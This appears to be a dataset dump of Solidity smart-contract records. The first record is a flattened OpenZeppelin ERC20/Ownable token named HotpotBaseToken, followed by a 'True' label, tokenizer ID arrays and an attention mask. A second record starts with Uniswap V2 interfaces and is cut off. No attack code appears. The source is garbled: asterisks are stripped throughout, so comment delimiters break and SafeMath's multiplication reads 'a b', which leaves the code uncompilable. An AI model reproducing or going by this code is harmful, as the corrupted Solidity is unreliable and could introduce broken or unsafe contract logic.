_msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: node_modules\@openzeppelin\contracts\token\ERC20\IERC20.sol pragma solidity ^0.6.0; /* * @dev Interface of the ERC20 standard as defined in the EIP. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } // File: node_modules\@openzeppelin\contracts\math\SafeMath.sol pragma solidity ^0.6.0; /* * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: node_modules\@openzeppelin\contracts\utils\Address.sol pragma solidity ^0.6.2; /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin\contracts\token\ERC20\ERC20.sol pragma solidity ^0.6.0; /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /* * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. / function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: @openzeppelin\contracts\access\Ownable.sol pragma solidity ^0.6.0; /* * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. / contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts\HotpotBaseToken.sol pragma solidity ^0.6.12; contract HotpotBaseToken is ERC20, Ownable { constructor(string memory name, string memory symbol) public ERC20(name, symbol) {} /// @notice Creates `_amount` token to `_to`. Must only be called by the owner. function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); } }	True	[ 101, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1035, 1035, 1032, 1013, 1035, 1035, 1032, 1013, 1035, 1035, 1035, 1013, 1013, 1035, 1035, 1006, 1035, 1007, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1013, 1035, 1013, 1013, 1035, 1035, 1032, 1013, 1035, 1035, 1036, 1013, 1035, 1035, 1032, 1013, 1035, 1035, 1035, 1013, 1035, 1032, 1013, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1013, 1013, 1013, 1035, 1035, 1013, 1013, 1013, 1013, 1013, 1013, 1035, 1013, 1013, 1013, 1013, 1013, 1013, 1035, 1035, 1013, 1035, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1035, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1013, 1035, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1010, 1035, 1013, 1035, 1013, 1013, 1035, 1013, 1032, 1035, 1035, 1035, 1013, 1032, 1035, 1035, 1035, 1013, 1008, 8962, 1012, 5446, 1024, 2980, 11008, 15058, 18715, 2368, 1012, 14017, 1008, 1996, 8962, 19204, 1010, 2019, 9413, 2278, 1011, 2322, 19204, 2007, 3954, 1011, 2069, 12927, 3853, 1008, 1008, 1013, 1013, 1013, 5371, 1024, 13045, 1035, 14184, 1032, 1030, 2330, 4371, 27877, 2378, 1032, 8311, 1032, 28177, 2078, 1032, 6123, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1030, 16475, 3640, 2592, 2055, 1996, 2783, 7781, 6123, 1010, 2164, 1996, 1008, 4604, 2121, 1997, 1996, 12598, 1998, 2049, 2951, 1012, 2096, 2122, 2024, 3227, 2800, 1008, 3081, 5796, 2290, 1012, 4604, 2121, 1998, 5796, 2290, 1012, 2951, 1010, 2027, 2323, 2025, 2022, 11570, 1999, 2107, 1037, 3622, 1008, 5450, 1010, 2144, 2043, 7149, 2007, 28177, 2078, 18804, 1011, 11817, 1996, 4070, 6016, 1998, 1008, 7079, 2005, 7781, 2089, 2025, 2022, 1996, 5025, 4604, 2121, 1006, 2004, 2521, 2004, 2019, 4646, 1008, 2003, 4986, 1007, 1012, 1008, 1008, 2023, 3206, 2003, 2069, 3223, 2005, 7783, 1010, 3075, 1011, 2066, 8311, 1012, 1008, 1013, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 1013, 1013, 5371, 1024, 13045, 1035, 14184, 1032, 1030, 2330, 4371, 27877, 2378, 1032, 8311, 1032, 19204, 1032, 9413, 2278, 11387, 1032, 29464, 11890, 11387, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 1008, 1013, 8278, 29464, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
/** Submitted for verification at Etherscan.io on 2022-04-15 / // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.9; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the 